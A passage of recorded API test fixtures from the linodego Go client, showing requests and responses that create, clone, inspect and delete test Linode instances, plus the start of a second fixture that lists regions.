{"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:56:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-zvlj01u8259p","root_pass":"xFQ[#17=y=20uLn?Lei5B-R#/U=j9EmB96v4w(a|4W72!yB[J\u003cLW6?zA9o9mm$S0","image":"linode/debian9","firewall_id":611230,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 60782936, "label": "go-test-ins-zvlj01u8259p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.35"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1dbba5b43d08a78e7f678ea425b3887659b32008", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "789" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:56:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080036, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 15.536838, "action": "linode_create", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:56:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode","id":{"+gte":760080036}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080036, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 53, "time_remaining": null, "rate": null, "duration": 30.530065, "action": "linode_create", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:57:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode","id":{"+gte":760080036}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080036, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 33.0, "action": "linode_create", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "finished", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "541" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:57:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","backups_enabled":false,"private_ip":true,"metadata":{"user_data":"cmVhbGx5Y29vbHVzZXJkYXRh"}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60782936/clone method: POST response: body: '{"id": 60782956, "label": "linode60782956", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.252", "192.168.137.239"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "454cc4590caa2a8de6a482c1c9e382273edb1576", "has_user_data": true, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "809" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:57:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080510, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 15.153766, "action": "linode_clone", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "started", "secondary_entity": {"id": 60782956, "type": "linode", "label": "linode60782956", "url": "/v4/linode/instances/60782956"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:57:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode","id":{"+gte":760080510}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080510, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": "0:1:8", "rate": "353.00 MB/s", "duration": 30.158265, "action": "linode_clone", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "started", "secondary_entity": {"id": 60782956, "type": "linode", "label": "linode60782956", "url": "/v4/linode/instances/60782956"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "561" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:57:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode","id":{"+gte":760080510}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080510, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": "0:1:8", "rate": "353.00 MB/s", "duration": 45.178729, "action": "linode_clone", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "started", "secondary_entity": {"id": 60782956, "type": "linode", "label": "linode60782956", "url": "/v4/linode/instances/60782956"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "561" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:58:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode","id":{"+gte":760080510}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080510, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 58, "time_remaining": "0:0:12", "rate": "541.00 MB/s", "duration": 60.150827, "action": "linode_clone", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "started", "secondary_entity": {"id": 60782956, "type": "linode", "label": "linode60782956", "url": "/v4/linode/instances/60782956"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:58:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode","id":{"+gte":760080510}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080510, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 75.187851, "action": "linode_clone", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "started", "secondary_entity": {"id": 60782956, "type": "linode", "label": "linode60782956", "url": "/v4/linode/instances/60782956"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:58:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60782936,"entity.type":"linode","id":{"+gte":760080510}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760080510, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 81.0, "action": "linode_clone", "username": "ErikZilber", "entity": {"label": "go-test-ins-zvlj01u8259p", "id": 60782936, "type": "linode", "url": "/v4/linode/instances/60782936"}, "status": "finished", "secondary_entity": {"id": 60782956, "type": "linode", "label": "linode60782956", "url": "/v4/linode/instances/60782956"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "543" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:58:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60782956/ips method: GET response: body: '{"ipv4": {"public": [{"address": "172.105.34.252", "gateway": "172.105.34.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-34-252.ip.linodeusercontent.com", "linode_id": 60782956, "region": "ap-west", "vpc_nat_1_1": null}], "private": [{"address": "192.168.137.239", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 60782956, "region": "ap-west", "vpc_nat_1_1": null}], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 60782956, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 60782956, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:58:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60782956 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:58:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60782936 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 20:58:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterface_Update.yaml000066400000000000000000001223261474652371000344130ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": 